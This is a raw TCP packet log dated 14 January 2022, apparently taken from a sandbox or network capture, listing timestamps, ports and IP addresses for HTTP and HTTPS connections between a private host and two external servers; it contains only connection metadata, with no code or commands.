Jan 14, 2022 01:51:45.265439987 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.265477896 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.265517950 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.265522003 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.265542984 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.265558004 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.265597105 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.265602112 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.265636921 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.265645027 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.265677929 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.265714884 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.265714884 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.265757084 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.265784979 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.265796900 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.265837908 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.265876055 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.265911102 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.265952110 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.265989065 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.266027927 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.266031981 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.266063929 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.266067028 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.266109943 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.266149998 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.266155005 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.266187906 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.266228914 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.266244888 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.266261101 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.266269922 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.266308069 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.266346931 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.266349077 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.266360998 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.266388893 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.266419888 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.266429901 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.266433001 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.266442060 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.266470909 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.266482115 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.266510010 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.266539097 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.266549110 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.266597033 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.266633034 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.266652107 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.266710043 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.266753912 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.266793966 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.266828060 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.266834021 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.266865015 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.266872883 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.266875982 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.266915083 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.266935110 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.266959906 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.266989946 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.266999006 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.267040014 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.267077923 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.267117977 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.267117977 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.267158031 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.267194986 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.267196894 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.267231941 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.267235041 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.267301083 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.279356003 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.279407024 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.279515982 CET	49858	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.304683924 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.304738045 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.304769039 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.304797888 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.304828882 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.304862976 CET	49858	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.304868937 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.304925919 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.304955006 CET	49858	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.304965973 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.305003881 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.305012941 CET	49858	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.305043936 CET	49858	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.305293083 CET	49858	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.340934038 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.341001034 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.341056108 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.341098070 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.341114044 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.341137886 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.341185093 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.341300011 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.341357946 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.341377974 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.341408014 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.341433048 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.341445923 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.341475964 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.341490030 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.341506004 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.341531038 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.341552019 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.341573954 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.341587067 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.341613054 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.341630936 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.341653109 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.341674089 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.341690063 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.341707945 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.341732025 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.341751099 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.341772079 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.341783047 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.341808081 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.341833115 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.341866016 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.341867924 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.341914892 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.341926098 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.341955900 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.341975927 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.341991901 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.342010975 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.342030048 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.342051029 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.342070103 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.342086077 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.342108011 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.342119932 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.342153072 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.342158079 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.342196941 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.342210054 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.342235088 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.342246056 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.342274904 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.342287064 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.342314005 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.342331886 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.342350960 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.342364073 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.342391968 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.342403889 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.342436075 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.342469931 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.342479944 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.342504025 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.342519999 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.342556953 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.342560053 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.342585087 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.342595100 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.342618942 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.342633009 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.342643976 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.342669964 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.342689037 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.342709064 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.342746973 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.342760086 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.342784882 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.342801094 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.342823982 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.342848063 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.342859983 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.342880964 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.342897892 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.342910051 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.342936039 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.342969894 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.342973948 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.342994928 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.343012094 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.343019962 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.343050957 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.343067884 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.343090057 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.343101025 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.343130112 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.343143940 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.343166113 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.343178034 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.343205929 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.343211889 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.343242884 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.343255997 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.343281031 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.343292952 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.343318939 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.343355894 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.343364954 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.343398094 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.343414068 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.343439102 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.343458891 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.343475103 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.343487024 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.343513966 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.343524933 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.343552113 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.343588114 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.343601942 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.343626022 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.343638897 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.343662977 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.343663931 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.343702078 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.343719959 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.343740940 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.343750954 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.343776941 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.343786955 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.343815088 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.343818903 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.343852997 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.343858957 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.343888998 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.343909025 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.343928099 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.343941927 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.343965054 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.343970060 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.344003916 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.344013929 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.344044924 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.344059944 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.344080925 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.344088078 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.344119072 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.344125032 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.344156981 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.344161987 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.344192982 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.344197989 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.344230890 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.344234943 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.344268084 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.344274998 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.344306946 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.344321012 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.344346046 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.344352007 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.344383955 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.344388962 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.344423056 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.344428062 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.344460011 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.344468117 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.344497919 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.344513893 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.344536066 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.344541073 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.344573975 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.344577074 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.344611883 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.344618082 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.344650984 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.344656944 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.344687939 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.344697952 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.344726086 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.344731092 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.344763994 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.344770908 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.344800949 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.344808102 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.344846010 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.378926992 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.379138947 CET	49858	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.413594961 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:45.413621902 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:45.413642883 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:45.413654089 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:45.418520927 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.418587923 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.418627977 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.418629885 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.418664932 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.418674946 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.418682098 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.418704987 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.418709040 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.418742895 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.418757915 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.418782949 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.418797970 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.418824911 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.418834925 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.418863058 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.418898106 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.418901920 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.418916941 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.418941021 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.418953896 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.418978930 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.419011116 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.419017076 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.419019938 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.419054985 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.419095039 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.419133902 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.419171095 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.419209003 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.419228077 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.419245958 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.419281960 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.419294119 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.419322014 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.419348955 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.419362068 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.419403076 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.419418097 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.419442892 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.419480085 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.419502974 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.419518948 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.419557095 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.419595003 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.419610977 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.419635057 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.419641018 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.419672966 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.419712067 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.419751883 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.419764042 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.419787884 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.419800043 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.419826984 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.419867039 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.419874907 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.419888020 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.419903994 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.419928074 CET	49856	80	192.168.2.3	141.8.194.74
